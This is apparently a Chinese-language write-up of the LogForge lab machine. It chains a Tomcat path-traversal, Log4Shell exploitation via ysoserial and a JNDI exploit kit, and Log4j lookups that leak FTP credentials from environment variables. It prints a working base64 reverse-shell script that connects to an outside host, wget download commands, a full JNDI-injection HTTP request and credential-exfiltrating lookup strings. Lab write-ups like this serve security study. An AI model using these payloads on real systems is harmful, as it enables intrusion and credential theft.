[Meachines] [Medium] LogForge PNA+Log4j+Env leakage
字数 1056 2025-08-29 22:41:38
LogForge 渗透测试教学文档:PNA+Log4j+环境变量泄露漏洞利用
1. 信息收集阶段
1.1 目标识别
- IP地址:
10.10.11.138 - 开放端口:
- TCP 22: OpenSSH 8.2p1 (Ubuntu Linux)
- TCP 80: Apache httpd 2.4.41 (Ubuntu)
1.2 扫描技术
使用以下命令进行高效扫描:
ip='10.10.11.138'; itf='tun0'
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
if [ -n "$ports" ]; then
echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"
nmap -Pn -sV -sC -p "$ports" "$ip"
else
echo -e "\e[31m[!] No open ports found on $ip.\e[0m"
fi
else
echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"
fi
2. 路径规范化攻击(Path Normalization Attack)
2.1 漏洞背景
Apache中间件和Tomcat协调不当会导致解析错误,造成目录穿越漏洞。
参考资源:
2.2 漏洞验证
尝试访问Tomcat管理器界面:
http://10.10.11.138/test/..;/manager/
发现无法上传war包,受到大小限制。
3. Log4j漏洞利用
3.1 漏洞发现
系统使用Log4j进行日志记录,存在Log4Shell漏洞(CVE-2021-44228)。
3.2 攻击准备
-
下载必要工具:
-
准备反弹shell脚本:
echo IyEvYmluL2Jhc2gKCmJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuMjEvNDQzIDA+JjEK | base64 -d > rev.sh
解码后内容为:
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.21/443 0>&1
- 启动HTTP服务器:
python3 -m http.server 80
3.3 生成恶意序列化对象
java -jar ysoserial-all.jar CommonsCollections5 "wget 10.10.16.21/rev.sh -O /tmp/rev.sh" > exp.ser
java -jar ysoserial-all.jar CommonsCollections5 "bash /tmp/rev.sh" > exp.ser
3.4 启动JNDI服务器
java -jar JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar -L 10.10.16.21:1389 -P exp.ser
3.5 触发漏洞
发送包含恶意JNDI查找的HTTP请求:
POST /x/..;/manager/html/expire?path=/ HTTP/1.1
Host: 10.10.11.138
Content-Length: 37
Cache-Control: max-age=0
Authorization: Basic dG9tY2F0OnRvbWNhdA==
Upgrade-Insecure-Requests: 1
Origin: http://10.10.11.138
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.11.138/x/..;/manager/html/expire
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=7677CE99BF79B82026D59355C960A40B
Connection: close
idle=${jndi:ldap://10.10.16.21/log4j}
4. 权限提升:环境变量泄露
4.1 发现FTP服务
在目标系统上发现:
/root/ftpServer-1.0-SNAPSHOT-all.jar
4.2 反编译分析
FTP服务从环境变量中获取凭据:
private String validUser = System.getenv("ftp_user");
private String validPassword = System.getenv("ftp_password");
4.3 利用Log4j泄露环境变量
- 启动JNDI服务器:
java -jar JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar -L 10.10.16.21:1389
- 通过FTP服务触发环境变量泄露:
ftp 127.0.0.1
Name (127.0.0.1:tomcat): ${jndi:ldap://10.10.16.21/ftp}
Name (127.0.0.1:tomcat): ${jndi:ldap://10.10.16.21:1389/${env:ftp_user}}
Name (127.0.0.1:tomcat): ${jndi:ldap://10.10.16.21:1389/${env:ftp_password}}
- 获取到的凭据:
- 用户名:
ippsec - 密码:
log4j_env_leakage
4.4 获取root权限
使用获取的凭据登录FTP服务,最终获取root权限。
5. Flag获取
- 用户flag:
db5c9789a7e1a00a3db893fb771902be - root flag:
9dc56a5de92c2e135b6492f878218754
6. 关键点总结
- 路径规范化攻击:利用Apache和Tomcat解析差异实现目录穿越
- Log4Shell漏洞:通过JNDI注入实现RCE
- 环境变量泄露:利用Log4j的日志记录功能泄露敏感环境变量
- 权限提升链:从Tomcat用户到root的完整提权路径
7. 防御建议
- 及时更新Log4j到安全版本
- 避免在环境变量中存储敏感信息
- 配置Tomcat和Apache的路径解析规则保持一致
- 实施最小权限原则,限制服务账户权限